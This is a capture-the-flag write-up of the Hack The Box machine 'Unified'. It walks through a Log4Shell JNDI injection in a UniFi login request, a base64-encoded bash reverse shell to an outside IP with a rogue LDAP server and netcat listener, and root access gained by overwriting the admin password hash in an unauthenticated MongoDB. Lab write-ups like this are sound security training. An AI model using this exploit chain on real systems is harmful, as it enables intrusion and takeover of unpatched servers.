HTB - Unified

February 8, 2026 · 5 min read

Nmap Recon

Based on Nmap scanning, port 22, 6789, 8080, and 8443 are open. Port 8443 serves a UniFi network application version 6.4.54.

Testing for Log4Shell Vulnerability

UniFi network application version 6.4.54 is vulnerable to RCE, due to the Log4Shell (CVE-2021-44228). To test it, we try to force the server to make an outbound LDAP request to our machine. We initiate tcpdump on port 389 to monitor any incoming request by running the following command:

tcpdump -i utun4 port 389

Then, we inject a message lookup substitution into the remember field of the login POST request which will cause the Log4J to try to resolve it by initating a JNDI lookup on the specified LDAP server (our machine).

Our machine records the LDAP request made by the server, indicating that the server is vulnerable to Log4Shell.

Initiating a Reverse Shell

To initiate a reverse shell, we setup a malicious JNDI server using https://github.com/veracode-research/rogue-jndi. We encode the malicious command to base64 to prevent any encoding issue:

echo "bash -c 'bash -i 1>& /dev/tcp/10.10.15.207/1337 0>&1'"|base64
# YmFzaCAtYyAnYmFzaCAtaSAxPiYgL2Rldi90Y3AvMTAuMTAuMTUuMjA3LzEzMzcgMD4mMScK

We then start the rogue JNDI server that hosts the encoded malicious code:

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSAxPiYgL2Rldi90Y3AvMTAuMTAuMTUuMjA3LzEzMzcgMD4mMScK}|{base64,-d}|{bash,-i}" --hostname "10.10.15.207"

We also setup a netcat listener on port 1337:

nc -lv 1337

We then force the server to make a JNDI lookup to our rogue LDAP sever by sending the following payload into the login POST request:

"username":"test",
"password":"test",
"remember":"${jndi:ldap://10.10.15.207:1389/o=tomcat}",
"strict":true

Once the reverse shell is achieved, we upgrade it into a tty by executing the following command:

script /dev/null -c bash

The first flag (user.txt) was found at /home/michael/user.txt : 6ced1a6a89e666c0620cdb10262ba127

Privilege Escalation

Based on this article, the MongoDB instance storing all application information is listening on localhost without authentication. Therefore, any user can read, update, or add information to it. We choose to update the hashed password of the administrator with our controlled value. We get the name of the database by connecting to the mongodb and list the database names (the database name is ace):

mongosh --host 127.0.0.1 --port 27117

To get the hashed password, we execute the following command, which uses the eval function to run the JS:

 mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

The identifier is $6$ which means that it is a SHA-512. Therefore, we create a new SHA-512 hashed password to replace it using this command:

mkpasswd -m sha-512 Password1234
# $6$66oUwipesRrxXqAj$ZsEQoW86MC9i17/ecK1IWMimCxSfRvoadDt25zmCDVdeS7WNjOq97KkgPYC6l1W.1Kppt7CtMlHNaURzmUCds0

Then we update the password in the mongodb database by running this command:

mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$66oUwipesRrxXqAj$ZsEQoW86MC9i17/ecK1IWMimCxSfRvoadDt25zmCDVdeS7WNjOq97KkgPYC6l1W.1Kppt7CtMlHNaURzmUCds0"}})'

Then, we can login to the UniFi page using the credentials, and enable SSH under settings → Site. The password is NotACrackablePassword4U2022

We then initiate an SSH connection using the credential, and retrieve the root flag:

ssh administrator@10.129.145.94
root@unified:~# ls
root.txt
root@unified:~# pwd
/root
root@unified:~# cat root.txt
e50bc93c75b634e4b272d2f771c336

Background

Lightweight Directory Access Protocol (LDAP)

Directory service is a specialized database to store, organize, and retrieve information about objects in a network in a structured and searchable way. Each entry is an object which has multiple attributes. It is typically used for centralized login management, access control, policy enforcement, and service discovery. LDAP is an application layer protocol to access the directory service over an IP network.

Log4Shell (CVE-2021-44228)

Log4Shell is a vulnerability reported in November 2021 in log4j, a java-based logging utility. It is caused by 2 features in Log4J, which is JNDI and message lookup substitution.

Java Naming and Directory Interface (JNDI) is a java API for directory service that allows Java software clients to discover and look up data and resources (in the forms of Java objects) via a name. It is typically used to connect Java application to an external directory service, using protocol like lDAP. JNDI lookup is a command that tells the app to go to a server and download a specific object. The older version of Log4j automatically run any code downloaded.

Message lookup substitution allows users and apps to send variables to Log4J within log messages by using syntax: ${prefix:name}. When Log4J encounters the syntax, it resolves the variable and records it in the log. Attackers take advantage of this feature to make the server performs a JNDI lookup to the attacker controlled LDAP server which stores malicious code. Log4J will resolve the variable by reaching out to the specified location, and execute it automatically.

UniFi network application

UniFi network application is network management software to configure and manage UniFi networking devices by Ubiquity. Versions before 6.5.54 (including 6.4.54) are vulnerable to remote code execution due to the Log4Shell (CVE-2021-44228). The vulnerable part is at the log in function, where attacker can inject command into the remember variable, which then force the server to make JNDI lookup to a malicious LDAP server that host malicious command. Attacker can create the malicious LDAP server using https://github.com/veracode-research/rogue-jndi .

References